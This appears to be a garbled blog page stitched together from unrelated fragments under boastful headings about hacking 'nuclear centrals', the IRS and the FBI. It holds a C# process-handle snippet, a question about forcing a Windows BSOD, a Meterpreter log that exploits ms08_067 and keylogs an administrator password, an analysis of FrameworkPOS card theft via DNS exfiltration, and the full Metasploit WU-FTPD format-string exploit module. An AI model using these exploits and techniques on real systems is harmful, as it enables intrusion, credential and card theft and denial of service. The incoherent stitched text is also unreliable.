Thursday, June 1, 2017

NUCLEAR CENTRALS HACKING

I have modified this code a bit to suit our task at hand. In the end you Utility.GetConhostIdByProcessId static function and pass the PID of your java.exe to it, and it will return you the PID of relevant conhost.exe
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Runtime.InteropServices;
namespace SO1313195
{
class Program
{
static void Main()
{
const int processId = 6980;
int? result = Utility.GetConhostIdByProcessId(processId);
if (result.HasValue)
{
Console.WriteLine("Process {0} has conhost {1}", processId, result.Value);
}
else
{
Console.WriteLine("Unable to find conhost for process {0}", processId);
}
Console.ReadLine();
}
}
public class Win32Api
{
[DllImportAttribute("kernel32.dll", EntryPoint = "GetProcessId")]
public static extern uint GetProcessId([In]IntPtr process);
[DllImport("ntdll.dll")]
public static extern int NtQueryObject(IntPtr objectHandle, int
objectInformationClass, IntPtr objectInformation, int objectInformationLength,
ref int returnLength);
[DllImport("ntdll.dll")]
public static extern uint NtQuerySystemInformation(int
systemInformationClass, IntPtr systemInformation, int systemInformationLength,
ref int returnLength);
[DllImport("kernel32.dll", EntryPoint = "RtlMoveMemory")]
public static extern void CopyMemory(byte[] destination, IntPtr source, uint length);
[DllImport("kernel32.dll")]
public static extern IntPtr OpenProcess(ProcessAccessFlags dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, int dwProcessId);
[DllImport("kernel32.dll")]
public static extern int CloseHandle(IntPtr hObject);
[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool DuplicateHandle(IntPtr hSourceProcessHandle,
ushort hSourceHandle, IntPtr hTargetProcessHandle, out IntPtr lpTargetHandle,
uint dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwOptions);
[DllImport("kernel32.dll")]
public static extern IntPtr GetCurrentProcess();
public enum ObjectInformationClass
{
ObjectBasicInformation = 0,
ObjectNameInformation = 1,
ObjectTypeInformation = 2,
ObjectAllTypesInformation = 3,
ObjectHandleInformation = 4
}
[Flags]
public enum ProcessAccessFlags : uint
{
All = 0x001F0FFF,
Terminate = 0x00000001,
CreateThread = 0x00000002,
VmOperation = 0x00000008,
VmRead = 0x00000010,
VmWrite = 0x00000020,
DupHandle = 0x00000040,
SetInformation = 0x00000200,
QueryInformation = 0x00000400,
Synchronize = 0x00100000
}
[StructLayout(LayoutKind.Sequential)]
public struct OBJECT_BASIC_INFORMATION
{
public int Attributes;
public int GrantedAccess;
public int HandleCount;
public int PointerCount;
public int PagedPoolUsage;
public int NonPagedPoolUsage;
public int Reserved1;
public int Reserved2;
public int Reserved3;
public int NameInformationLength;
public int TypeInformationLength;
public int SecurityDescriptorLength;
public System.Runtime.InteropServices.ComTypes.FILETIME CreateTime;
}
[StructLayout(LayoutKind.Sequential)]
public struct OBJECT_TYPE_INFORMATION
{
public UNICODE_STRING Name;
public int ObjectCount;
public int HandleCount;
public int Reserved1;
public int Reserved2;
public int Reserved3;
public int Reserved4;
public int PeakObjectCount;
public int PeakHandleCount;
public int Reserved5;
public int Reserved6;
public int Reserved7;
public int Reserved8;
public int InvalidAttributes;
public GENERIC_MAPPING GenericMapping;
public int ValidAccess;
public byte Unknown;
public byte MaintainHandleDatabase;
public int PoolType;
public int PagedPoolUsage;
public int NonPagedPoolUsage;
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct UNICODE_STRING
{
public ushort Length;
public ushort MaximumLength;
public IntPtr Buffer;
}
[StructLayout(LayoutKind.Sequential)]
public struct GENERIC_MAPPING
{
public int GenericRead;
public int GenericWrite;
public int GenericExecute;
public int GenericAll;
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct SYSTEM_HANDLE_INFORMATION
{
public int ProcessID;
public byte ObjectTypeNumber;
public byte Flags; // 0x01 = PROTECT_FROM_CLOSE, 0x02 = INHERIT
public ushort Handle;
public int Object_Pointer;
public UInt32 GrantedAccess;
}
public const uint STATUS_INFO_LENGTH_MISMATCH = 0xC0000004;
public const int DUPLICATE_SAME_ACCESS = 0x2;
}
class Utility
{
public static int? GetConhostIdByProcessId(int processId)
{
foreach (Process process in Process.GetProcessesByName("conhost"))
{
IntPtr processHwnd = Win32Api.OpenProcess(Win32Api.ProcessAccessFlags.DupHandle, false, process.Id);
List lstHandles = GetHandles(process);
foreach (Win32Api.SYSTEM_HANDLE_INFORMATION handle in lstHandles)
{
int? id = GetFileDetails(processHwnd, handle);
if (id == processId)
{
return process.Id;
}
}
}
return null;
}
private static int? GetFileDetails(IntPtr processHwnd, Win32Api.SYSTEM_HANDLE_INFORMATION systemHandleInformation)
{
IntPtr ipHandle;
Win32Api.OBJECT_BASIC_INFORMATION objBasic = new Win32Api.OBJECT_BASIC_INFORMATION();
Win32Api.OBJECT_TYPE_INFORMATION objObjectType = new Win32Api.OBJECT_TYPE_INFORMATION();
int nLength = 0;
if (!Win32Api.DuplicateHandle(processHwnd, systemHandleInformation.Handle, Win32Api.GetCurrentProcess(), out ipHandle, 0, false, Win32Api.DUPLICATE_SAME_ACCESS)) return null;
IntPtr ipBasic = Marshal.AllocHGlobal(Marshal.SizeOf(objBasic));
Win32Api.NtQueryObject(ipHandle, (int)Win32Api.ObjectInformationClass.ObjectBasicInformation, ipBasic, Marshal.SizeOf(objBasic), ref nLength);
objBasic = (Win32Api.OBJECT_BASIC_INFORMATION)Marshal.PtrToStructure(ipBasic, objBasic.GetType());
Marshal.FreeHGlobal(ipBasic);
IntPtr ipObjectType = Marshal.AllocHGlobal(objBasic.TypeInformationLength);
nLength = objBasic.TypeInformationLength;
while ((uint)(Win32Api.NtQueryObject(ipHandle, (int)Win32Api.ObjectInformationClass.ObjectTypeInformation, ipObjectType, nLength, ref nLength)) == Win32Api.STATUS_INFO_LENGTH_MISMATCH)
{
Marshal.FreeHGlobal(ipObjectType);
ipObjectType = Marshal.AllocHGlobal(nLength);
}
objObjectType = (Win32Api.OBJECT_TYPE_INFORMATION)Marshal.PtrToStructure(ipObjectType, objObjectType.GetType());
IntPtr ipTemp = Is64Bits() ? new IntPtr(Convert.ToInt64(objObjectType.Name.Buffer.ToString(), 10) >> 32) : objObjectType.Name.Buffer;
string strObjectTypeName = Marshal.PtrToStringUni(ipTemp, objObjectType.Name.Length >> 1);
Marshal.FreeHGlobal(ipObjectType);
if (strObjectTypeName != "Process") return null;
return (int)Win32Api.GetProcessId(ipHandle);
}
private static List GetHandles(Process process)
{
const int CNST_SYSTEM_HANDLE_INFORMATION = 16;
const uint STATUS_INFO_LENGTH_MISMATCH = 0xc0000004;
int nHandleInfoSize = 0x10000;
IntPtr ipHandlePointer = Marshal.AllocHGlobal(nHandleInfoSize);
int nLength = 0;
IntPtr ipHandle;
while ((Win32Api.NtQuerySystemInformation(CNST_SYSTEM_HANDLE_INFORMATION, ipHandlePointer, nHandleInfoSize, ref nLength)) == STATUS_INFO_LENGTH_MISMATCH)
{
nHandleInfoSize = nLength;
Marshal.FreeHGlobal(ipHandlePointer);
ipHandlePointer = Marshal.AllocHGlobal(nLength);
}
byte[] baTemp = new byte[nLength];
Win32Api.CopyMemory(baTemp, ipHandlePointer, (uint)nLength);
long lHandleCount;
if (Is64Bits())
{
lHandleCount = Marshal.ReadInt64(ipHandlePointer);
ipHandle = new IntPtr(ipHandlePointer.ToInt64() + 8);
}
else
{
lHandleCount = Marshal.ReadInt32(ipHandlePointer);
ipHandle = new IntPtr(ipHandlePointer.ToInt32() + 4);
}
Win32Api.SYSTEM_HANDLE_INFORMATION shHandle;
List lstHandles = new List();
for (long lIndex = 0; lIndex < lHandleCount; lIndex++)
{
shHandle = new Win32Api.SYSTEM_HANDLE_INFORMATION();
if (Is64Bits())
{
shHandle = (Win32Api.SYSTEM_HANDLE_INFORMATION)Marshal.PtrToStructure(ipHandle, shHandle.GetType());
ipHandle = new IntPtr(ipHandle.ToInt64() + Marshal.SizeOf(shHandle) + 8);
}
else
{
ipHandle = new IntPtr(ipHandle.ToInt64() + Marshal.SizeOf(shHandle));
shHandle = (Win32Api.SYSTEM_HANDLE_INFORMATION)Marshal.PtrToStructure(ipHandle, shHandle.GetType());
}
if (shHandle.ProcessID != process.Id) continue;
lstHandles.Add(shHandle);
}
return lstHandles;
}
static bool Is64Bits()
{
return Marshal.SizeOf(typeof(IntPtr)) == 8 ? true : false;
}
}
}

Purely for academic reasons. is it possible to programmatically cause a BSOD to occur under windows xp/windows 7 in C#/.NET. I'm suggesting there's got to be some dirty hack, or some vulnerability to abuse to cause this. I'm looking for a snippet of code to run that guarantees a BSOD in a finite period of time.

HUNTING DOWN NUCLEAR CENTRALS 

Killing csrss.exe

tcpip.sys in .net 4.

https://stackoverflow.com/questions/5737118/programmatically-trigger-bsod/15180436

remember i told you: capitalism is DEAD! they fucked the head out of this guy and google treadt his life!!!

You can charge your mobile using blades II Awesome life hack II

356 smss.exe \SystemRoot\System32\smss.exe (???) energy sector ????

Capturing Logon Credentials with Meterpreter

======= start code ========
msf exploit(ms08_067_netapi) > exploit
[*] Triggering the vulnerability…
[*] Sending stage (2650 bytes)
[*] Uploading DLL (75787 bytes)…
[*] Upload completed.
[*] Meterpreter session 1 opened
meterpreter > ps
Process list
============
PID Name Path
— —- —-
292 wscntfy.exe C:\WINDOWS\system32\wscntfy.exe
316 Explorer.EXE C:\WINDOWS\Explorer.EXE
356 smss.exe \SystemRoot\System32\smss.exe
416 csrss.exe \??\C:\WINDOWS\system32\csrss.exe
440 winlogon.exe \??\C:\WINDOWS\system32\winlogon.exe
[ snip ]
meterpreter > migrate 440
[*] Migrating to 440…
[*] Migration completed successfully.
meterpreter > keyscan_start
Starting the keystroke sniffer…
[ wait for user login ]
meterpreter > keyscan_dump
Dumping captured keystrokes…
Administrator b4mb00hous3 

New FrameworkPOS variant exfiltrates data via DNS requests

Credit card exfiltration

DNS exfiltration

This current malware uses DNS requests to exfiltrate the stolen data. Requests have the following scheme:
  • Encoded_data.domain.com
In this example, the domain server of domain.com is managed by the attacker in order to get the “encoded_data”. We identified three different DNS requests:
  • Id.beacon.encoded_data1.encoded_data2.domain.com
This request is the heartbeat. The ID is a random ID generated during the first execution of the malware. Encoded_data1 is the IP address of the infected machine and encoded_data2 is the host name of the machine.
  • Id.alert.encoded_data3.domain.com
The ID is the same random ID as used in the example above and encoded_data3 is a process name. The attackers receive the process name each time a credit card number is found in the memory.
  • Id.encoded_data4.encoded_data5.domain.com
The ID is, again, the ID described above. Encoded_data4 is the value stored right before the separator “=” within the memory and encoded_data5 is the value stored right after the separator “=”. Further explanation will be given in the article’s section Memory Carving.
In order to perform the DNS query, the malware uses the function getaddrinfo() in Ws2_32.dll or Wship6.dll (for IPv6 support for Windows 2000).

Data obfuscation

The data transmitted in the DNS request is encoded. Here is the code that performs this task:
The pseudo code:
Foreach bytes:
  a = byte XOR 0xAA
  b = a XOR 0x9B
  value = b XOR 0xC3
The three XOR can be simply resumed to XOR 0xF2. Below, you can see an example of decoded and encoded data:
c5008015.beacon.c3cbc0dcc3c4cadcc4cbdcc4cb.a2b3a7bedfb3b0b1c3c0c1c6.domain.com
paul@gdata:~ $ ./decode.py c3cbc0dcc3c4cadcc4cbdcc4cb
192.168.69.69
paul@gdata:~ $ ./decode.py a2b3a7bedfb3b0b1c3c0c1c6
PAUL-ABC1234

Installation

The malware can be executed with the following option:
  • Install: is used in order to install a service, needed to start the malware;
  • Uninstall: this option uninstalls the service;
  • Start: this option is used to start the malware (if the service is already installed);
  • Stop: this is used to switch off the service;
  • Setd: is used to set the domain used to exfiltrate the data.
An interesting notion: the domain is set during the installation of the malware (with the Setd parameter). This marks a difference between the sample analyzed by Trend Micro and this current sample, because the domain is not hardcoded in the sample. Thanks to this approach it is not possible to find the domain used in case the sample is found within a database, such as VirusTotal. To know the domain name used to exfiltrate the data, one needs to analyze an infected machine. The domain is stored in the registry:
.Default\CurrentUser\ur
The .Default registry is an uncommon registry entry. This registry is not the Default User registry but the default registry in C:\Windows\System32\config\.

Domain obfuscation

The domain used for the exfiltration is not stored in plain text within the registry. Here is a screenshot of the algorithm needed to decode the content:
Here is the pseudo code:
Foreach bytes:
  a = byte >> 5
  b = byte << 3
  value = a OR b

Strings obfuscation

We assume that the developer tried to obfuscate several strings in the binary. However, the implementation is faulty and not efficient: each character of a string is “xored” with 0x4D two times. But if one applies xor two times with the same value, the result is the original value… Therefore, the strings are in clear in the binary:
A xor 0x4D xor 0x4d = A

Memory Carving

To get the credit card data that is stored within the memory, the malware opens the processes currently executed on the system, except for these:
smss.exe, csrss.exe, wininit.exe, services.exe, lsass.exe, svchost.exe, winlogon.exe, sched.exe, spoolsv.exe, System, conhost.exe, ctfmon.exe, wmiprvse.exe, mdm.exe, taskmgr.exe, explorer.exe, RegSrvc.exe, firefox.exe, chrome.exe
To find the credit card data stored, the attackers use an algorithm which can be refined to the following regular expression:
\d{15,19}=\d{13,}
Here is the description of the expression:
  • \d{15,19}: credit card number, between 15 and 19 digits length
  • = : separator
  • \d{13,}: number with 13 or more digits.
An example of a credit card number is hardcoded within the malware:
4207670075018922=16031010000863456429
The credit card data hardcoded in the sample is used to identify if the malware is currently scanning itself. If the malware found this information in the memory, the carving is stopped and the next process is analyzed.

Wednesday, May 31, 2017

DO YOU WANT A BET I HACK THE IRS DB AND CALL THEM MORONS PUBLICLY AGAIN? :)

The API doesn't let you grab something by its hash code. So you could do:
MyObject findIfPresent(MyObject source, HashSet<MyObject> set)
{
   if (set.contains(source)) {
      for (MyObject obj : set) {
        if (obj.equals(source)) 
          return obj;
      } 
   }

  return null;
}
Brute force and O(n) ugly, but if that's what you need to do...

10 MOST WANTED FBI CODES ! metasploit-framework/modules/exploits/multi/ftp/wuftpd_site_exec_format.rb

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Ftp
include Msf::Exploit::FormatString
def initialize(info = {})
super(update_info(info,
'Name' => 'WU-FTPD SITE EXEC/INDEX Format String Vulnerability',
'Description' => %q{
This module exploits a format string vulnerability in versions of the
Washington University FTP server older than 2.6.1. By executing
specially crafted SITE EXEC or SITE INDEX commands containing format
specifiers, an attacker can corrupt memory and execute arbitrary code.
},
'Author' => [ 'jduck' ],
'References' =>
[
['CVE', '2000-0573'],
['OSVDB', '11805'],
['BID', '1387']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'PrependChrootBreak' => true
},
'Privileged' => true,
'Payload' =>
{
# format string max length
'Space' => 256,
# NOTE: \xff's need to be doubled (per ftp/telnet stuff)
'BadChars' => "\x00\x09\x0a\x0d\x20\x25\x2f",
'DisableNops' => 'True',
'StackAdjustment' => -1500
},
'Platform' => [ 'linux' ],
'Targets' =>
[
#
# Automatic targeting via fingerprinting
#
[ 'Automatic Targeting', { 'auto' => true } ],
#
# specific targets
#
[ 'Slackware 2.1 (Version wu-2.4(1) Sun Jul 31 21:15:56 CDT 1994)',
{
'UseDPA' => false,
'PadBytes' => 3,
'NumPops' => 8,
'AddrPops' => 100,
'Offset' => -2088, # offset to stack return
'Writable' => 0xbfffde26, # stack, avoid badchars
'FlowHook' => -1, # auto now... 0xbffff1e4 # stack return addr
}
],
# these aren't exploitable (using built-in, stripped down vsprintf, no %n)
#[ 'RedHat 5.2 (Version wu-2.4.2-academ[BETA-18](1) Mon Aug 3 19:17:20 EDT 1998)',
#[ 'RedHat 6.0 (Version wu-2.4.2-VR17(1) Mon Apr 19 09:21:53 EDT 1999)',
#[ 'RedHat 6.1 (Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999)',
[ 'RedHat 6.2 (Version wu-2.6.0(1) Mon Feb 28 10:30:36 EST 2000)',
{
'UseDPA' => true,
'PadBytes' => 2,
'NumPops' => 276,
'AddrPops' => 2,
'Offset' => -17664, # offset to stack return
'Writable' => 0x806e726, # bss
#'Writable' => 0xbfff0126, # stack, avoid badchars
'FlowHook' => -1, # auto now... 0xbfffb028 # stack return addr
#'FlowHook' => 0x806e1e0 # GOT of sprintf
}
],
#
# this one will detect the parameters automagicly
#
[ 'Debug',
{
'UseDPA' => false,
'PadBytes' => 0,
'NumPops' => 0,
'AddrPops' => -1,
'Offset' => -1,
'Writable' => 0x41414242, #
'FlowHook' => 0x43434545 #
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jun 22 2000'))
register_options(
[
Opt::RPORT(21),
])
end
def check
# NOTE: We don't care if the login failed here...
ret = connect_login
# We just want the banner to check against our targets..
vprint_status("FTP Banner: #{banner.strip}")
status = Exploit::CheckCode::Safe
if banner =~ /Version wu-2\.(4|5)/
status = Exploit::CheckCode::Appears
elsif banner =~ /Version wu-2\.6\.0/
status = Exploit::CheckCode::Appears
end
# If we've made it this far, we care if login succeeded.
if (ret)
# NOTE: vulnerable and exploitable might not mean the same thing here :)
if not fmtstr_detect_vulnerable
status = Exploit::CheckCode::Safe
end
if not fmtstr_detect_exploitable
status = Exploit::CheckCode::Safe
end
end
disconnect
return status
end
def exploit
if (not connect_login)
fail_with(Failure::Unknown, 'Unable to authenticate')
end
# Use a copy of the target
mytarget = target
if (target['auto'])
mytarget = nil
print_status("Automatically detecting the target...")
if (banner and (m = banner.match(/\(Version wu-(.*)\) ready/))) then
print_status("FTP Banner: #{banner.strip}")
version = m[1]
else
fail_with(Failure::NoTarget, "No matching target")
end
regexp = Regexp.escape(version)
self.targets.each do |t|
if (t.name =~ /#{regexp}/) then
mytarget = t
break
end
end
if (not mytarget)
fail_with(Failure::NoTarget, "No matching target")
end
print_status("Selected Target: #{mytarget.name}")
else
print_status("Trying target #{mytarget.name}...")
if banner
print_status("FTP Banner: #{banner.strip}")
end
end
# proceed with chosen target...
# detect stuff!
if mytarget.name == "Debug"
#fmtstr_set_caps(true, true)
# dump the stack, so we can detect stuff magically
print_status("Dumping the stack...")
stack = Array.new
extra = "aaaabbbb"
1000.times do |x|
dw = fmtstr_stack_read(x+1, extra)
break if not dw
stack << dw
end
stack_data = stack.pack('V*')
print_status("Obtained #{stack.length*4} bytes of stack data:\n" + Rex::Text.to_hex_dump(stack_data))
# detect the number of pad bytes
idx = stack_data.index("aaaabbbb")
if not idx
fail_with(Failure::Unknown, "Whoa, didn't find the static bytes on the stack!")
end
num_pad = 0
num_pad = 4 - (idx % 4) if (idx % 4) > 0
mytarget.opts['PadBytes'] = num_pad
# calculate the number of pops needed to hit our addr
num_pops = (idx + num_pad) / 4
mytarget.opts['NumPops'] = num_pops
else
num_pad = mytarget['PadBytes']
num_pops = mytarget['NumPops']
sc_loc = mytarget['Writable']
ret = mytarget['FlowHook']
end
print_status("Number of pad bytes: #{num_pad}")
print_status("Number of pops: #{num_pops}")
# debugging -> don't try it!
return if mytarget.name == "Debug"
#print_status("ATTACH!")
#select(nil,nil,nil,5)
fmtstr_detect_caps
# compute the stack return address using the fmt to leak memory
addr_pops = mytarget['AddrPops']
offset = mytarget['Offset']
if addr_pops > 0
stackaddr = fmtstr_stack_read(addr_pops)
print_status("Read %#x from offset %d" % [stackaddr, addr_pops])
ret = stackaddr + offset
end
print_status("Writing shellcode to: %#x" % sc_loc)
print_status("Hijacking control via %#x" % ret)
# no extra bytes before the padding..
num_start = 0
# write shellcode to 'writable'
arr = fmtstr_gen_array_from_buf(sc_loc, payload.encoded, mytarget)
# process it in groups of 24 (max ~400 bytes per command)
sc_num = 1
while arr.length > 0
print_status("Sending part #{sc_num} of the payload...")
sc_num += 1
narr = arr.slice!(0..24)
fmtbuf = fmtstr_gen_from_array(num_start, narr, mytarget)
# a space allows the next part to start with a '/'
fmtbuf[num_pad-1,1] = " "
fmtbuf.gsub!(/\xff/, "\xff\xff")
if ((res = send_cmd(['SITE', 'EXEC', fmtbuf], true)))
if res[0,4] == "500 "
fail_with(Failure::Unknown, "Something went wrong when uploading the payload...")
end
end
end
# write 'writable' addr to flowhook (execute shellcode)
# NOTE: the resulting two writes must be done at the same time
print_status("Attempting to write %#x to %#x.." % [sc_loc, ret])
fmtbuf = generate_fmt_two_shorts(num_start, ret, sc_loc, mytarget)
# a space allows the next part to start with a '/'
fmtbuf[num_pad-1,1] = " "
fmtbuf.gsub!(/\xff/, "\xff\xff")
# don't wait for the response here :)
res = send_cmd(['SITE', 'EXEC', fmtbuf], false)
print_status("Your payload should have executed now...")
handler
end
#
# these two functions are used to read stack memory
# (used by fmtstr_stack_read()
#
def trigger_fmt(fmtstr)
return nil if fmtstr.length >= (512 - (4+1 + 4+1 + 2 + 2))
send_cmd(['SITE', 'EXEC', 'x', fmtstr], true)
end
def extract_fmt_output(res)
if (res =~ /^5.. /)
#throw "Crap! Something went wrong while dumping the stack..."
return nil
end
ret = res.strip.split(/\r?\n/)[0]
ret = ret[6,ret.length]
return ret
end
end https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/ftp/wuftpd_site_exec_format.rb